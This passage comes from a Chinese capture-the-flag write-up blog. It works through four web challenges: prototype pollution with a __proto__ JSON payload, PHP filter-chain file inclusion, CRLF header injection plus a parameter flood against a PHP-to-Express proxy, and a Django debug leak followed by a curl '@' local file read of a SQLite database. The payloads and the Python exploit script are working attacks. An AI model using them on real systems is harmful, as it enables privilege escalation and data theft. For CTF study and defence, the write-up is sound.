// 将新用户添加到 users 数组中
users.push(newUser)
// 返回注册成功的响应
res.json({ msg: 'user created successfully', err: false })
})

科普:

JS的找 属性 / 方法 原理

JavaScript 中每个对象都有一个隐藏属性 [[Prototype]](可通过 __proto__ 访问),它指向另一个对象(原型对象)。当访问对象属性时,若自身不存在,会沿原型链向上查找,直到找到或到达终点(null)。

__proto__是什么?

让一个对象的属性继承给另一个

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 定义一个“秘籍”(原型对象)
const book = {
skill: "写代码",
useSkill() {
console.log("你使用了:" + this.skill);
}
};

// 创建一个“你”(普通对象)
const you = {};
you.__proto__ = book; // 将你的原型指向《秘籍》

// 调用你没有直接定义的技能
you.useSkill();
// 输出:你使用了:写代码

you这个对象里面本来应该是没有useSkill方法的,但是__proto__函数使其成为book的子链,让他可以向上寻找方法,找到useSkill方法。

应用于这一题:

baseUser解释:

baseUser 是一个基础用户模板对象,用于为新注册的用户设置默认属性值,确保所有用户初始状态一致。以下是详细解释:

1
2
3
4
5
6
7
const baseUser = {
isAdmin: false, // 默认非管理员
createdAt: new Date(), // 注册时间
lastLogin: null, // 最后登录时间
active: true // 账户是否激活
};
(假设)
做题:
1
let newUser = Object.assign({}, baseUser, user)

我们的**输入是user**,配置文件在baseUserObject.assign会合并二者

那我们输入:

1
2
3
4
5
6
7
8

{
"username": "attacker",
"password": "hack",
"__proto__": {
"isAdmin": true
}
}

image-20250401094057819

成功污染

再登入即可获得flag

题目名称-文件包含

考察点文件包含过滤器的灵活使用

image-20250401234230417

只告诉我们传输点,尝试base64,发现不行,被WAF了

尝试简单过滤器:

1
http://61.147.171.105:51104/?filename=php://filter/convert.iconv.UTF-8.UTF-32/resource=check.php

发现不行,看来我对过滤器的了解还是太少了

过滤器:

在 PHP 中,过滤器(Filter) 是一种用于对流数据(如文件、网络输入)进行实时处理(编码/解码/转换)的机制。通过 php://filter 协议,可以动态地对文件内容进行编码转换或压缩,常用于绕过安全限制或解析文件内容。


PHP 过滤器的核心作用

  1. 编码转换:例如 convert.iconv.* 转换字符集(UTF-8 → UTF-16)。
  2. 压缩加密:例如 zlib.deflate 压缩数据。
  3. 字符串处理:例如 string.rot13 对内容进行 ROT13 编码。

convert.iconv.*

做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*

使用集束爆破来爆破:

image-20250401235315520

记得两个全写入文本:

image-20250402000536931

爆破即可:

image-20250402000608808

只要修改为flag.php就行

仔细研究?先拖着

ez_curl

2025-4-21

(我必须仔细明白源码,这才能知道他们在考察什么)

到底在考察什么呢

考察点:1.代码阅读   2.Header绕过   3.url长度限制

源码1:(js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});

app.listen({ port: port , host: '0.0.0.0'});

这是后端代码,用于检测前端HTTP头部否包含Admin,Admin的值是不是true是的话就返回flag

源码2:(index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

关键代码1:

1
$input = file_get_contents('php://input');

这个代码会读取包含我们输入的POST(**~POST传输**,但是可以传入JSON格式)

题目中这段代码的目的是让用户通过 JSON 格式的请求体动态传递以下内容:

  1. 自定义请求头(headers
    用于绕过 PHP 前端的检查,并最终传递到后端 Express 服务。
  2. 自定义查询参数(params
    用于构造目标 URL 的查询参数(如 ?admin=#)。

关键代码2:

1
$url .= '&admin=false';

会强制在url后面强行加一个**&admin=false**导致后端已知无法识别为正确的

关键代码3:

1
2
3
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}

会检测头文件(Header)中是否包含admin且为true,有的话就会终止

payload:

看别人wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:52482/"

datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
"params": {"admin": "true"}}

for i in range(1020):
datas["params"]["x" + str(i)] = i

headers = {
"Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)

print(resp.content)

尝试添加admin为头部:

1
"headers": ["X-Header: value\r\nAdmin: true"]
  • 在请求头中插入换行符 \r\n,将一个头拆分成两个头。

  • 示例:

    1
    "headers": ["X-Header: value\r\nAdmin: true"]
  • PHP视角:

    • 认为这是一个完整的头:X-Header: value\r\nAdmin: true
    • 检查键名 X-Header 不含 admin,允许通过。(绕过 if 防止终止)
  • Express后端视角:将 \r\n 视为分隔符,解析为两个独立的头:

    1
    2
    X-Header: value
    Admin: true <-- 实际生效的头!

原理:

  1. PHP 头处理机制

    • 解析逻辑:PHP 代码逐个处理用户提供的头字符串,使用冒号

      1
      :

      分割键和值。例如,字符串

      1
      "X-Header: value\r\nAdmin: true"

      会被视为单个头。

      • 键提取:提取第一个冒号前的 X-Header 作为键。
      • 值提取:剩余部分 value\r\nAdmin: true 作为值。
    • 检查绕过:由于键为 X-Header(不含 admin),PHP 的检查逻辑通过,未触发拦截。

  2. HTTP 协议标准

    • 头分隔符:HTTP 头应以 \r\n 分隔,每个头占据一行。

    • 正确解析:Node.js 的 HTTP 解析器遵循标准,将

      1
      \r\n

      视为分隔符,将字符串拆分为两个独立头:

      1
      2
      X-Header: value
      Admin: true

防止结尾加上&

1
2
for i in range(1020):
datas["params"]["x" + str(i)] = i

通过大量的

1
2
3
4
x0=0
x1=1
x2=2
………………

来淹没Express

Express

1
express是一个流行的[Node.js](https://so.csdn.net/so/search?q=Node.js&spm=1001.2101.3001.7020) Web框架。其中paramterLimit选项用于指定query string 或者 request payload 的最大数量。在默认情况下,它的值为1000

Cat

考察点:宽字节无法解析,Django 框架忘记关闭debug调试模式

页面分析:

image-20250422162651894

看来是一个类似于ping的页面输入127.0.0.1成功返回,测试命令注入,发现大部分都被WAF

1
2
3
4
.
@
/
未被过滤

这几个又能挑起什么火花呢?

1.输入%80返回一大堆页面

只能在url上输入,别在框里输入!!!!!

image-20250422163300458

为什么会返回这么多呢?

前提是 DEBUG=True

宽字节的url需要编码两次以上

image-20250422164204036

%00—-%79都是前半部分的,**%80是后半部分的,所以输入一个%80没有意义**的,只有前面有东西才行

所以才会报错

不同框架的对比

框架/语言 行为示例
Django 显示详细调试页面(含代码、环境变量),前提是 DEBUG=True
Flask 默认返回简洁错误页(如400 Bad Request),若开启调试模式(debug=True)也会显示详细信息。
Spring Boot 返回JSON格式错误(如 {"error":"Invalid URL"}),需主动配置才会暴露堆栈信息。
PHP 可能无输出、记录错误日志或显示服务器默认错误页(如Apache的500错误)。

复制大佬的说法:

因为后台同时运行的php程序和python的dijango程序(看大佬 WP,大佬猜的),**通过暴露给我们的php程序获得上传的数据,而php程序用POST方式里的curl将GET方式获得的数据传给django的对应的API,而传递过去之后,由于二者编码方式不同(类似于宽字节注入的逻辑),出现解码错误,即UnicodeEncodeError at /api/ping**,然后又因为后台dijango的debug没有关闭,所以会将错误信息直接返回给php程序进而给回显出来了。漏洞的逻辑大概就是这样,而利用点就是,curl用@来读取本地文件,在报错文本里,查找关键字

1
如database、ctf、flag、cat、database、XCTF等关键词

查询是否有有用的东西:

image-20250422163324915

1
2
3
4
5
setting
ctf
database
sql
SECRET_KEY

这些是有用的

发现确实是有链接sql数据库的:

image-20250422163603225

特殊考点:@读取

当我们输入:

1
@/opt/api/database.sqlite3

再搜索页面便得到了flag

image-20250422164508976

为什么能成功读取这个库呢?

首先来了解什么是Django框架?

特性 Django Flask
定位 “全功能”企业级框架 轻量级微框架
学习曲线 较高(功能复杂) 较低(灵活简洁)
适用场景 复杂业务系统 小型应用、API服务
内置功能 ORM、Admin、认证等 需依赖扩展库
灵活性 约定优于配置 高度自由,可自定义